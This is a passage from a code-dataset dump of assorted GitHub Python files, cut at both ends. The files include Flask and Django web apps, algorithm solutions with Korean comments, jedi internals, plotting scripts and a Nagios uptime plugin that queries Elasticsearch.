pass\n\n my_routes = route.get_routes()\n \"\"\"\n\n _routes = []\n\n def __init__(self, uri):\n self._uri = uri\n\n def __call__(self, _handler):\n \"\"\"gets called when we class decorate\"\"\"\n self._routes.append((self._uri, _handler))\n return _handler\n\n @classmethod\n def get_routes(self):\n return self._routes\n\n\nclass RouteLoader(object):\n \"\"\" taken from https://github.com/trendrr/whirlwind/blob/master/whirlwind/core/routes.py \"\"\"\n\n @staticmethod\n def load(package_name, include_routes_file=True):\n loader = RouteLoader()\n return loader.init_routes(package_name, include_routes_file)\n\n def init_routes(self, package_name, include_routes_file=True):\n import pkgutil, sys\n\n package = __import__(package_name)\n controllers_module = sys.modules[package_name]\n\n prefix = controllers_module.__name__ + \".\"\n\n for importer, modname, ispkg in pkgutil.iter_modules(\n controllers_module.__path__, prefix\n ):\n logging.info(\"init route: %s\" % modname)\n module = __import__(modname)\n\n # grab the routes defined via the route decorator\n url_routes = route.get_routes()\n\n # add the routes from our route file\n if include_routes_file:\n url_routes.extend(route_list)\n\n return url_routes\n","repo_name":"dcai/airnotifier","sub_path":"routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2440,"program_lang":"python","lang":"en","doc_type":"code","stars":583,"dataset":"github-code","pt":"38"} +{"seq_id":"42380593122","text":"import sys \nfrom collections import deque \ndef grouping(i, j): # 섬마다 번호 붙이기 \n q = deque([(i, j)]) \n world[i][j] = gid \n while q: \n qi, qj = q.popleft() \n for t in range(4): \n x, y = qi + dx[t], qj + dy[t] \n if 0 <= x < n and 0 <= y < n: \n if world[x][y] == 1: \n world[x][y] = gid \n q.append((x, y)) \n elif world[x][y] == 0 and not (qi, qj) in ocean: \n ocean.append((qi, qj))\n \ndef get_distance(): # 모든 섬에서 동시에 확장 \n loop = 0 \n ans = sys.maxsize \n while ocean: \n loop += 1 \n length = len(ocean) \n for _ in range(length): \n oi, oj = ocean.popleft() \n for t in range(4): \n x, y = oi + dx[t], oj + dy[t] \n if 0 <= x < n and 0 <= y < n: \n if world[x][y] == 0: \n world[x][y] = world[oi][oj] \n ocean.append((x, y)) \n elif world[x][y] < world[oi][oj]: \n ans = min(ans, (loop - 1) * 2) \n elif world[x][y] > world[oi][oj]: \n ans = min(ans, loop * 2 - 1) \n return ans \ndx, dy = (0, 0, 1, -1), (1, -1, 0, 0) \nn = int(sys.stdin.readline()) \nworld = [list(map(int, sys.stdin.readline().split())) for _ in range(n)] \nocean = deque() \ngid = -1 \nfor i in range(n): \n for j in range(n): \n if world[i][j] > 0: \n grouping(i, j) \n gid -= 1\n \nsys.stdout.write(str(get_distance()))\n\n# 출처: https://suri78.tistory.com/133 [공부노트]\n\n\n\nN=int(input())\nM=[list(map(int,input().split())) for _ in range(N)]\nT=[[-1]*N for _ in range(N)]\nP=[]\nst=[]\nc=0\nfor i in range(N):\n for j in range(N):\n if T[i][j]==-1:\n c+=1\n st.append((i,j))\n if M[i][j]==0:\n st.pop()\n T[i][j]=0\n c-=1\n else:\n while st:\n a,b=st.pop()\n T[a][b]=c\n if a!=0 and M[a-1][b]==1 and T[a-1][b]==-1:\n st.append((a-1,b))\n if a!=N-1 and M[a+1][b]==1 and T[a+1][b]==-1:\n st.append((a+1,b))\n if b!=0 and M[a][b-1]==1 and T[a][b-1]==-1:\n st.append((a,b-1))\n if b!=N-1 and M[a][b+1]==1 and T[a][b+1]==-1:\n st.append((a,b+1))\nst=[[],[]]\nc=0\nd=1\nM=[[-1]*N for _ in range(N)]\nfor i in range(N):\n for j in range(N):\n if T[i][j]!=0:\n st[c%2].append((i,j))\nt=False\nwhile 1:\n if t:\n break\n if st[0]==st[1]:\n c,d=1,0\n break\n while st[c%2]:\n a,b=st[c%2].pop()\n if b!=N-1:\n if T[a][b+1]==0:\n st[(c+1)%2].append((a,b+1))\n T[a][b+1]=T[a][b]\n M[a][b+1]=c\n elif T[a][b+1]!=T[a][b]:\n if M[a][b+1]!=c:\n d=0\n t=True\n if a!=0:\n if T[a-1][b]==0:\n st[(c+1)%2].append((a-1,b))\n T[a-1][b]=T[a][b]\n M[a-1][b]=c\n elif T[a-1][b]!=T[a][b]:\n if M[a-1][b]!=c:\n d=0\n t=True\n if b!=0:\n if T[a][b-1]==0:\n st[(c+1)%2].append((a,b-1))\n T[a][b-1]=T[a][b]\n M[a][b-1]=c\n elif T[a][b-1]!=T[a][b]:\n if M[a][b-1]!=c:\n d=0\n t=True\n if a!=N-1:\n if T[a+1][b]==0:\n st[(c+1)%2].append((a+1,b))\n T[a+1][b]=T[a][b]\n M[a+1][b]=c\n elif T[a+1][b]!=T[a][b]:\n if M[a+1][b]!=c:\n d=0\n t=True\n c+=1\nprint(2*(c-1)+d)\n\n# 4등 코드","repo_name":"VIXXPARK/pythonAlgorithm","sub_path":"백준/기초2/그래프1(도전)/다리 만들기.py","file_name":"다리 만들기.py","file_ext":"py","file_size_in_byte":3932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20695386710","text":"from jedi.evaluate.base_context import ContextWrapper\nfrom jedi.evaluate.context.module import ModuleContext\nfrom jedi.evaluate.filters import ParserTreeFilter, \\\n TreeNameDefinition\nfrom jedi.evaluate.gradual.typing import TypingModuleFilterWrapper\n\n\nclass StubModuleContext(ModuleContext):\n def __init__(self, non_stub_context_set, *args, **kwargs):\n super(StubModuleContext, self).__init__(*args, **kwargs)\n self.non_stub_context_set = non_stub_context_set\n\n def is_stub(self):\n return True\n\n def sub_modules_dict(self):\n \"\"\"\n We have to overwrite this, because it's possible to have stubs that\n don't have code for all the child modules. At the time of writing this\n there are for example no stubs for `json.tool`.\n \"\"\"\n names = {}\n for context in self.non_stub_context_set:\n try:\n method = context.sub_modules_dict\n except AttributeError:\n pass\n else:\n names.update(method())\n names.update(super(StubModuleContext, self).sub_modules_dict())\n return names\n\n def _get_first_non_stub_filters(self):\n for context in self.non_stub_context_set:\n yield next(context.get_filters(search_global=False))\n\n def _get_stub_filters(self, search_global, **filter_kwargs):\n return [StubFilter(\n self.evaluator,\n context=self,\n search_global=search_global,\n **filter_kwargs\n )] + list(self.iter_star_filters(search_global=search_global))\n\n def get_filters(self, search_global=False, until_position=None,\n origin_scope=None, **kwargs):\n filters = super(StubModuleContext, self).get_filters(\n search_global, until_position, origin_scope, **kwargs\n )\n next(filters) # Ignore the first filter and replace it with our own\n stub_filters = self._get_stub_filters(\n search_global=search_global,\n until_position=until_position,\n origin_scope=origin_scope,\n )\n for f in stub_filters:\n yield f\n\n for f in filters:\n yield f\n\n\nclass TypingModuleWrapper(StubModuleContext):\n def get_filters(self, *args, **kwargs):\n filters = super(TypingModuleWrapper, self).get_filters(*args, **kwargs)\n yield TypingModuleFilterWrapper(next(filters))\n for f in filters:\n yield f\n\n\n# From here on down we make looking up the sys.version_info fast.\nclass _StubName(TreeNameDefinition):\n def infer(self):\n inferred = super(_StubName, self).infer()\n if self.string_name == 'version_info' and self.get_root_context().py__name__() == 'sys':\n return [VersionInfo(c) for c in inferred]\n return inferred\n\n\nclass StubFilter(ParserTreeFilter):\n name_class = _StubName\n\n def __init__(self, *args, **kwargs):\n self._search_global = kwargs.pop('search_global') # Python 2 :/\n super(StubFilter, self).__init__(*args, **kwargs)\n\n def _is_name_reachable(self, name):\n if not super(StubFilter, self)._is_name_reachable(name):\n return False\n\n if not self._search_global:\n # Imports in stub files are only public if they have an \"as\"\n # export.\n definition = name.get_definition()\n if definition.type in ('import_from', 'import_name'):\n if name.parent.type not in ('import_as_name', 'dotted_as_name'):\n return False\n n = name.value\n if n.startswith('_') and not (n.startswith('__') and n.endswith('__')):\n return False\n return True\n\n\nclass VersionInfo(ContextWrapper):\n pass\n","repo_name":"MSBeni/AoA_IQsamples","sub_path":"AoA/DoA_Final/venv/lib/python3.7/site-packages/jedi/evaluate/gradual/stub_context.py","file_name":"stub_context.py","file_ext":"py","file_size_in_byte":3751,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"38"} +{"seq_id":"6650891399","text":"from flask_cors import CORS\nfrom flask import Flask\nfrom json import load, dump, dumps\n\napp = Flask(__name__)\nCORS(app)\n\n\ndef write_json(data):\n with open(\"data.json\", \"w\") as f:\n dump(data, f)\n\n\ndef read_json():\n with open(\"data.json\", \"r\") as f:\n try:\n data = load(f)\n return data\n except:\n with open(\"data.json\", \"w\") as f:\n dump([{\"name\": \"\", \"date\": \"\"}], f)\n return read_json()\n\n\n@app.route(\"/\")\ndef root():\n return \"

Welcome ToDo app


Use /init to get data
/new/name/date to add todo
/rm/index to remove a todo\"\n\n\n@app.route(\"/new//\", methods=['POST'])\ndef new_todo(name, date):\n data = read_json()\n data.append({\"name\": name, \"date\": date})\n write_json(data)\n return \"Done\"\n\n\n@app.route(\"/init\")\ndef init():\n return dumps(read_json())\n\n\n@app.route(\"/rm/\", methods=['POST'])\ndef rm(index):\n data = read_json()\n data.remove(data[int(index)])\n write_json(data)\n return \"Done\"\n\n\nif __name__ == \"__main__\":\n # app.run(debug=True, port=8000)\n app.runt(port=8000)\n","repo_name":"prajwalprabhu/Todo-web","sub_path":"back-py/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"71585378031","text":"# CH10 Example\n#\n# number_reader.py\n#\n# Read data using json.load() method. It takes only one parameter: the file object\nimport json\n\nfilename = 'numbers.json'\nwith open(filename) as f:\n numbers = json.load(f)\n\n#print(numbers)\n# This line is for reading Exercise 10-11\nprint(\"I know your favorite number! It's \" + str(numbers) + \".\")\n","repo_name":"jpc0016/Python-Examples","sub_path":"Crash Course/ch10-Files/number_reader.py","file_name":"number_reader.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"14319287933","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path(\"\", views.index, name=\"index\"),\n path(\"menu\", views.menu, name=\"menu\"),\n path(\"create_order\", views.create_order, name=\"create_order\"),\n path(\"create_account\", views.create_account, name=\"create_account\"),\n path(\"login\", views.login_view, name=\"login\"),\n path(\"logout\", views.logout_view, name=\"logout\"),\n path(\"cart\", views.cart, name=\"cart\")\n]\n","repo_name":"blakely4206/Pizza_Website","sub_path":"orders/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"14682542688","text":"from flask import Flask, jsonify, render_template, request, flash, redirect, session\n\n# from secrets import API_SECRET_KEY\nfrom forms import UserForm, LoginForm, HashtagForm\nimport requests\nimport random\nfrom models import db, connect_db, Hashtag, User\nfrom sqlalchemy.exc import IntegrityError\nimport os\n\n# from flask_debugtoolbar import DebugToolbarExtension\n\n# *****************************\n# PYTHON API REQUEST\n# *****************************\n# client_id = API_SECRET_KEY\nclient_id = os.environ[\"API_SECRET_KEY\"]\n\nAPI_BASE_URL = \"https://api.ritekit.com/v1\"\n\napp = Flask(__name__)\n# app.debug = True\n\napp.config[\"SECRET_KEY\"] = os.environ.get(\"SECRET_KEY\", \"hellosecret1\")\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = os.environ.get(\n \"DATABASE_URL\", \"postgresql:///hashtag_db\"\n)\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\n# toolbar = DebugToolbarExtension(app)\n\n\n# *******************\n# Connect to Database\n# ******************\nconnect_db(app)\n\n\n# ********************\n# Home Directory Route\n# ********************\n@app.route(\"/\")\ndef homepage():\n \"\"\"Show homepage.\"\"\"\n\n # Keep a count of how many times page is visited\n session[\"count\"] = session.get(\"count\", 0) + 1\n\n hashtags = Hashtag.query.all()\n return render_template(\"index.html\", hashtags=hashtags)\n\n\n# ************************************************************\n# Find Users hashtag results\n# GET The Hashtag currently trending on Twitter\n# and the number of times tweeted JSON through the Ritekit API\n# ************************************************************\ndef get_results(hashtag):\n res = requests.get(\n f\"{API_BASE_URL}/stats/hashtag-suggestions?text=seo\",\n params={\"client_id\": client_id, \"text\": hashtag},\n )\n data = res.json()\n hash = data[\"data\"][1][\"hashtag\"]\n tweets = data[\"data\"][1][\"tweets\"]\n results = {\"hash\": hash, \"tweets\": tweets}\n return results\n\n\n# *******************************\n# DISPLAYS Users hashtag result\n# *******************************\n@app.route(\"/hashtagsuggestion\")\ndef get_hashtag():\n hashtag = request.args[\"hashtag\"]\n results = get_results(hashtag)\n return render_template(\"index.html\", results=results)\n\n\n# **************************************\n# REGISTER User and add them to database\n# **************************************\n@app.route(\"/register\", methods=[\"GET\", \"POST\"])\ndef register_user():\n form = UserForm()\n if form.validate_on_submit():\n username = form.username.data\n email = form.email.data\n password = form.password.data\n\n new_user = User.register(username, email, password)\n # Do some error handeling HERE\n\n db.session.add(new_user)\n try:\n db.session.commit()\n except IntegrityError:\n form.username.errors.append(\"Username taken. Please choose another.\")\n return render_template(\"register.html\", form=form)\n\n session[\"user_id\"] = new_user.id\n flash(\"Welcome! You Have Successfully Created Your Account!\", \"success\")\n return redirect(\"/hashtags\")\n\n return render_template(\"register.html\", form=form)\n\n\n# **********************************************\n# LOGIN User Authenticate Username and Password\n# **********************************************\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login_user():\n \"\"\"Handle user login.\"\"\"\n\n form = LoginForm()\n\n if form.validate_on_submit():\n user = User.authenticate(form.username.data, form.password.data)\n\n if user:\n flash(f\"Welcome Back, {user.username}!\", \"success\")\n session[\"user_id\"] = user.id\n return redirect(\"hashtags\")\n else:\n form.username.errors = [\"Invalid username/password\"]\n\n return render_template(\"/login.html\", form=form)\n\n\n# ********************************************************\n# LOGOUT and clear user selection and redirect to homepage\n# ********************************************************\n@app.route(\"/logout\")\ndef logout_user():\n session.pop(\"user_id\", None)\n flash(\"Visit us again!\", \"info\")\n return redirect(\"/\")\n\n\n@app.route(\"/hashtags\", methods=[\"GET\", \"POST\"])\ndef show_hashtags():\n if \"user_id\" not in session:\n flash(\"Please Login First!\", \"danger\")\n return redirect(\"/\")\n form = HashtagForm()\n all_hashtags = Hashtag.query.all()\n if form.validate_on_submit():\n text = form.text.data\n new_hashtag = Hashtag(text=text, user_id=session[\"user_id\"])\n db.session.add(new_hashtag)\n db.session.commit()\n flash(\"Hashtag Created!\" \"success\")\n return redirect(\"/hashtags\")\n\n return render_template(\"hashtags.html\", form=form, hashtags=all_hashtags)\n\n\n# *********************************\n# DELETE Hashtag that user created\n# *********************************\n@app.route(\"/hashtags/\", methods=[\"POST\"])\ndef delete_hashtag(id):\n \"\"\"Delete hashtag\"\"\"\n if \"user_id\" not in session:\n flash(\"Please login first!\", \"danger\")\n return redirect(\"/login\")\n hashtag = Hashtag.query.get_or_404(id)\n if hashtag.user_id == session[\"user_id\"]:\n db.session.delete(hashtag)\n db.session.commit()\n flash(\"Hashtag deleted\", \"info\")\n return redirect(\"/hashtags\")\n flash(\"You don't have permission to do that!\", \"danger\")\n return redirect(\"/hashtags\")\n","repo_name":"william-tecnico108/Capstone-HashtagSuggestionApp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"26919831505","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n'''\nDESCRIPTION :\n * Nagios plugin used to return machine \"Uptime\" from ElasticSearch.\n * Uptime is pushed from MetricBeat agent installed on the monitored machine.\n * Uptime resquest is handled by API REST againt ElasticSearch.\n\nAUTHOR :\n * Julien Dumarchey START DATE : Aug 30 10:00:00 2018 \n \nCHANGES :\n * VERSION DATE WHO DETAIL\n * 0.0.1 2018-08-30 Julien Dumarchey Initial version\n * 1.0.1 2019-03-26 Eric Belhomme replace getopts by argparse module\n code factorization & mutualization\n added elastichost variable\n * 1.0.2 2019-09-30 Eric Belhomme fix argument type casting to int for warning, critical, timeout\n'''\n\n__author__ = \"Julien Dumarchey, Eric Belhomme\"\n__copyright__ = \"2018, SCC\"\n__credits__ = [\"Julien Dumarchey\", \"Eric Belhomme\"]\n__license__ = \"GPL\"\n__version__ = \"1.0.1\"\n__maintainer__ = \"Julien Dumarchey\"\n\n## MODULES FEATURES #######################################################################################################\n\n# Import the following modules:\nimport sys, re, argparse, requests, json\nfrom _rgmbeat import generic_api_call, generic_api_payload, get_data_validity_range, validate_elastichost, seconds_to_duration\n\nNagiosRetCode = ('OK', 'WARNING', 'CRITICAL', 'UNKNOWN')\n\n# If required, disable SSL Warning Logging for \"requests\" library:\n#requests.packages.urllib3.disable_warnings()\n\n## Declare Functions ######################################################################################################\n\n# Build a custom Payload for ElasticSearch (here: HTTP Request Body for getting an Uptime value for a specified hostname):\ndef custom_api_payload(plugin_hostname,data_validity):\n try:\n # ElasticSearch Custom Variables:\n beat_name = plugin_hostname\n field_name = \"system.uptime.duration.ms\"\n metricset_module = \"system\"\n metricset_name = \"uptime\"\n ## Get Data Validity Epoch Timestamp:\n newest_valid_timestamp, oldest_valid_timestamp = get_data_validity_range(data_validity)\n # Build the generic part of the API Resquest Body:\n generic_payload = generic_api_payload(1)\n custom_payload = {}\n custom_payload.update(generic_payload)\n # Add the Query structure with ElasticSearch Variables:\n custom_payload.update( {\"query\":{\"bool\":{\"must\":[],\"filter\":[],\"should\":[],\"must_not\":[]}}} )\n custom_payload[\"query\"][\"bool\"][\"must\"].append( {\"match_all\":{}} )\n custom_payload[\"query\"][\"bool\"][\"must\"].append( {\"exists\":{\"field\":\"\"+field_name+\"\"}} )\n custom_payload[\"query\"][\"bool\"][\"must\"].append( {\"match_phrase\":{\"event.module\":{\"query\":\"\"+metricset_module+\"\"}}} )\n custom_payload[\"query\"][\"bool\"][\"must\"].append( {\"match_phrase\":{\"metricset.name\":{\"query\":\"\"+metricset_name+\"\"}}} )\n custom_payload[\"query\"][\"bool\"][\"must\"].append( {\"match_phrase\":{\"host.name\":{\"query\":\"\"+beat_name+\"\"}}} )\n custom_payload[\"query\"][\"bool\"][\"must\"].append( {\"range\":{\"@timestamp\":{\"gte\":\"\"+str(oldest_valid_timestamp)+\"\",\"lte\":\"\"+str(newest_valid_timestamp)+\"\",\"format\":\"epoch_millis\"}}} )\n return custom_payload\n except Exception as e:\n print(\"Error calling \\\"custom_api_payload\\\"... Exception {}\".format(e))\n sys.exit(3)\n\n# Request a custom ElasticSearch API REST Call (here: Get an Uptime in millisecond):\ndef get_uptime(elastichost, plugin_hostname,data_validity,verbose):\n try:\n # Get prerequisites for ElasticSearch API:\n addr, header = generic_api_call(elastichost)\n payload = custom_api_payload(plugin_hostname,data_validity)\n # Request the ElasticSearch API:\n results = requests.get(url=addr, headers=header, json=payload, verify=False)\n results_json = results.json()\n if verbose:\n print(\"## VERBOSE MODE - API REST HTTP RESPONSE: ##########################################\")\n print(\"request payload: {}\".format(payload))\n print(\"JSON output: {}\".format(results_json))\n print(\"####################################################################################\") # Extract the \"Total Hit\" from results (= check if an Uptime has been returned):\n total_hit = int(results_json[\"hits\"][\"total\"]['value'])\n # If request hits: extract results (Uptime in ms) and display Verbose Mode if requested in ARGS ; otherwise return a static code (0):\n if total_hit != 0:\n uptime_ms = results_json[\"hits\"][\"hits\"][0][\"_source\"][\"system\"][\"uptime\"][\"duration\"][\"ms\"]\n else:\n uptime_ms = 0\n return uptime_ms/1000\n except Exception as e:\n print(\"Error calling \\\"get_uptime\\\"... Exception {}\".format(e))\n sys.exit(3)\n\n\n# Display Uptime (System Information + Performance Data) in a format compliant with RGM expectations:\ndef rgm_uptime_output(elastichost, plugin_hostname,warning_treshold,critical_treshold,data_validity,verbose):\n try:\n rc = 3\n upstr = []\n # convert minutes into seconds\n warning_treshold = 60 * int(warning_treshold)\n critical_treshold = 60 * int(critical_treshold)\n # Get Uptime values:\n uptime = int(get_uptime(elastichost, plugin_hostname, data_validity, verbose))\n if uptime > 0:\n years, months, days, hours, minutes, seconds = seconds_to_duration(uptime)\n upstr.append('Device up since')\n if years > 0:\n upstr.append(\"{} years,\".format(str(years)))\n if months > 0:\n upstr.append(\"{} months,\".format(str(months)))\n if days > 0:\n upstr.append(\"{} days,\".format(str(days)))\n if hours > 0:\n upstr.append(\"{} hours,\".format(str(hours)))\n if minutes > 0:\n upstr.append(\"{} minutes,\".format(str(minutes)))\n if seconds > 0:\n upstr.append(\"{} seconds,\".format(str(seconds)))\n if uptime <= warning_treshold:\n rc = 1\n if uptime <= critical_treshold:\n rc = 2\n else:\n rc = 0\n\n if rc == 3:\n upstr = ['Uptime has not been returned']\n print(\"{} - {} | 'uptime'={}s;;;;\".format(\n NagiosRetCode[rc],\n \" \".join(upstr),\n str(uptime)))\n sys.exit(rc)\n\n except Exception as e:\n print(\"Error calling \\\"rgm_uptime_output\\\"... Exception {}\".format(e))\n sys.exit(3)\n\n## Get Options/Arguments then Run Script ##################################################################################\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser(description=\"\"\"\n Nagios plugin used to return machine \"Uptime\" from ElasticSearch.\n Uptime is pushed from MetricBeat agent installed on the monitored machine.\n Uptime resquest is handled by API REST againt ElasticSearch.\n \"\"\",\n usage=\"\"\"\n Get Uptime for machine \"srv3\" only if monitored data is not anterior at 4 minutes\n (4: default value). Warning alert if Uptime < 10 minutes. Critical alert if\n Uptime < 5 minutes.\n\n python uptime.py -H srv3 -w 10 -c 5\n\n Get Uptime for machine \"srv3 only if monitored data is not anterior at 2 minutes. \n\n python uptime.py -H srv3 -w 10 -c 5 -t 2\n\n Get Uptime for machine \"srv3 with Verbose mode enabled.\n\n python uptime.py -H srv3 -w 10 -c 5 -v\n\n Get Uptime for machine \"srv3 with Verbose mode enabled and only if monitored data is\n not anterior at 2 minutes. \n\n python uptime.py -H srv3 -w 10 -c 5 -t 2 -v\n \"\"\",\n epilog=\"version {}, copyright {}\".format(__version__, __copyright__))\n parser.add_argument('-H', '--hostname', type=str, help='hostname or IP address', required=True)\n parser.add_argument('-w', '--warning', type=int, nargs='?', help='warning trigger', default=10)\n parser.add_argument('-c', '--critical', type=int, nargs='?', help='critical trigger', default=5)\n parser.add_argument('-t', '--timeout', type=int, help='data validity timeout (in minutes)', default=4)\n parser.add_argument('-E', '--elastichost', type=str, help='connection URL of ElasticSearch server', default=\"http://localhost:9200\")\n parser.add_argument('-v', '--verbose', help='be verbose', action='store_true')\n\n args = parser.parse_args()\n\n if validate_elastichost(args.elastichost):\n rgm_uptime_output(args.elastichost, args.hostname, args.warning, args.critical, args.timeout, args.verbose)\n# EOF\n","repo_name":"RGM-OSC/nagios-plugins-rgm","sub_path":"SOURCES_TAR/nagios-plugins-rgm/metricbeat/uptime.py","file_name":"uptime.py","file_ext":"py","file_size_in_byte":8896,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"19944806837","text":"from functools import partial\n\nclass FuncArgDict:\n\n def __init__(self, func, *hyper_args):\n self.__f = func\n self.__hyper_args = hyper_args\n\n\n def __hyper_arg_extend(self, args):\n new_args = []\n for arg in args:\n new_args.append(arg)\n for hyper_arg in self.__hyper_args:\n new_args.append(hyper_arg)\n return new_args\n\n def call(self, *args):\n all_args = self.__hyper_arg_extend(args)\n out = partial(self.__f, all_args[0])\n for i in range(1, len(all_args)-1):\n out = partial(out, all_args[i])\n return out(all_args[len(all_args)-1])\n\n\nif __name__ == \"__main__\":\n def f(a, x, y, z):\n return a*(x**2 + y**2)\n\n func_arg_dict = FuncArgDict(f, 1, 2, 3)\n print(\"call(2): \", func_arg_dict.call(2))\n","repo_name":"CornellDataScience/IntSys-Sentiment-Summary","sub_path":"optimization/func_arg_dict.py","file_name":"func_arg_dict.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"25423860641","text":"#I really don't use this a lot so I stopped updating it, I recomend using plot_EMD.py instead.\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nrho = \"2\"\r\ntheta = \"15\"\r\nnoiseroot = \"results/population_obfuscation/noise/theta-\" + theta + \"/rho-\" + rho + \"/\"\r\nmarkedroot = \"results/population_obfuscation/marked/theta-\" + theta + \"/rho-\" + rho + \"/\"\r\nxLabels = [\"Size 10\", \"Size 20\", \"Size 50\", \"Size 100\"]\r\nticks = [0,2,4,6]\r\nleft_pos = [-0.4,1.6,3.6,5.6]\r\nright_pos = [0.4,2.4,4.4,6.4]\r\nleftdata = np.array(np.empty(4))\r\nrightdata = np.array((4,100))\r\n\r\n\r\nnsize10 = np.loadtxt(noiseroot + \"size-10/noise_rho-\" + rho + \"_theta-\" + theta + \"_size-10.txt\")\r\nnsize20 = np.loadtxt(noiseroot + \"size-20/noise_rho-\" + rho + \"_theta-\" + theta + \"_size-20.txt\")\r\nnsize50 = np.loadtxt(noiseroot + \"size-50/noise_rho-\" + rho + \"_theta-\" + theta + \"_size-50.txt\")\r\nnsize100 = np.loadtxt(noiseroot + \"size-100/noise_rho-\" + rho + \"_theta-\" + theta + \"_size-100.txt\")\r\n\r\nfor i in range(nsize10.size):\r\n nsize10[i] = np.log(nsize10[i])\r\nfor i in range(nsize20.size):\r\n nsize20[i] = np.log(nsize20[i])\r\nfor i in range(nsize50.size):\r\n nsize50[i] = np.log(nsize50[i])\r\nfor i in range(nsize10.size):\r\n nsize100[i] = np.log(nsize100[i])\r\nleftdata = [nsize10, nsize20, nsize50, nsize100]\r\n\r\n\r\nmsize10 = np.loadtxt(markedroot + \"size-10/marked_rho-\" + rho + \"_theta-\" + theta + \"_size-10.txt\")\r\nmsize20 = np.loadtxt(markedroot + \"size-20/marked_rho-\" + rho + \"_theta-\" + theta + \"_size-20.txt\")\r\nmsize50 = np.loadtxt(markedroot + \"size-50/marked_rho-\" + rho + \"_theta-\" + theta + \"_size-50.txt\")\r\nmsize100 = np.loadtxt(markedroot + \"size-100/marked_rho-\" + rho + \"_theta-\" + theta + \"_size-100.txt\")\r\n\r\nfor i in range(msize10.size):\r\n msize10[i] = np.log(msize10[i])\r\nfor i in range(msize20.size):\r\n msize20[i] = np.log(msize20[i])\r\nfor i in range(msize50.size):\r\n msize50[i] = np.log(msize50[i])\r\nfor i in range(msize100.size):\r\n msize100[i] = np.log(msize100[i])\r\nrightdata = [msize10, msize20, msize50, msize100]\r\n\r\nplt.boxplot(leftdata, positions=left_pos)\r\nplt.boxplot(rightdata, positions=right_pos, patch_artist=True)\r\nplt.legend(labels=[\"Noise\", \"Marked\"])\r\nax = plt.gca()\r\nleg = ax.get_legend()\r\nleg.legendHandles[0].set_color('white')\r\nleg.legendHandles[1].set_color('blue')\r\n\r\n#Binds the labels to the ticks\r\nplt.xticks(ticks,xLabels)\r\n#Titles the plot\r\nplt.title(\"Log 2 Wasserstein Distance Theta=\" + theta + \", Rho=\" + rho)\r\nplt.show()\r\n","repo_name":"houdinicat11/Generative-Data-Obfuscation","sub_path":"boxplot_EMD.py","file_name":"boxplot_EMD.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"7129595654","text":"from django.urls import path\nfrom .views import KakaoLoginView, MyPageView, SigninView, SignupView, MyPageView, MyPageImageUploadView\n\nurlpatterns = [\n path('/signup', SignupView.as_view()),\n path('/kakaologin', KakaoLoginView.as_view()),\n path('/mypage', MyPageView.as_view()),\n path('/mypage/image', MyPageImageUploadView.as_view()),\n path('/signin', SigninView.as_view())\n]\n","repo_name":"wecode-bootcamp-korea/17-2nd-CLASS404-backend","sub_path":"user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28252963290","text":"import hashlib\nimport json\nimport os.path\n\nfrom PySide6 import QtCore\n\nfrom mapclientplugins.convertcoordinatefieldstep.model.converter import Converter\n\n\nNOT_FIELD_TYPES_LIST = [\"Name\", \"CoordinateSystemType\", \"IsManaged\", \"IsTypeCoordinate\"]\n\n\ndef _field_type(field_info):\n keys = field_info.keys()\n for key in keys:\n if key not in NOT_FIELD_TYPES_LIST:\n return key\n\n return \"\"\n\n\ndef _conversion_possibilities(field_info):\n return list(set(([f[\"Name\"] for f in field_info])))\n\n\nclass CoordinateFieldsModel(QtCore.QAbstractTableModel):\n\n def __init__(self, field_info, field_conversions=None, parent=None):\n super(CoordinateFieldsModel, self).__init__(parent)\n self._headers = ['Source Field', 'Field Type', 'Re-evaluate In']\n self._field_info = field_info\n self._potential_conversions = _conversion_possibilities(field_info)\n self._field_conversions = [None] * len(field_info) if field_conversions is None else field_conversions\n self._row_count = len(field_info)\n\n def potential_conversions(self):\n return self._potential_conversions\n\n def _info_for(self, field_name):\n info_list = [info for info in self._field_info if info[\"Name\"] == field_name]\n return info_list[0]\n\n def field_conversions(self):\n return self._field_conversions\n\n def conversions(self):\n conversions = []\n for index, info in enumerate(self._field_info):\n conversion = self._field_conversions[index]\n if conversion is not None:\n conversions.append({\n \"from\": info,\n \"to\": self._info_for(conversion),\n })\n\n return conversions\n\n def columnCount(self, parent) -> int:\n return 3\n\n def rowCount(self, parent) -> int:\n return self._row_count\n\n def data(self, index, role):\n if not index.isValid():\n return None\n\n if role == QtCore.Qt.DisplayRole:\n row = index.row()\n if index.column() == 0:\n return self._field_info[row][\"Name\"]\n elif index.column() == 1:\n return _field_type(self._field_info[row])\n elif index.column() == 2:\n return self._field_conversions[row]\n\n return \"--\"\n\n return None\n\n def headerData(self, section, orientation, role):\n if role == QtCore.Qt.DisplayRole:\n if orientation == QtCore.Qt.Horizontal:\n 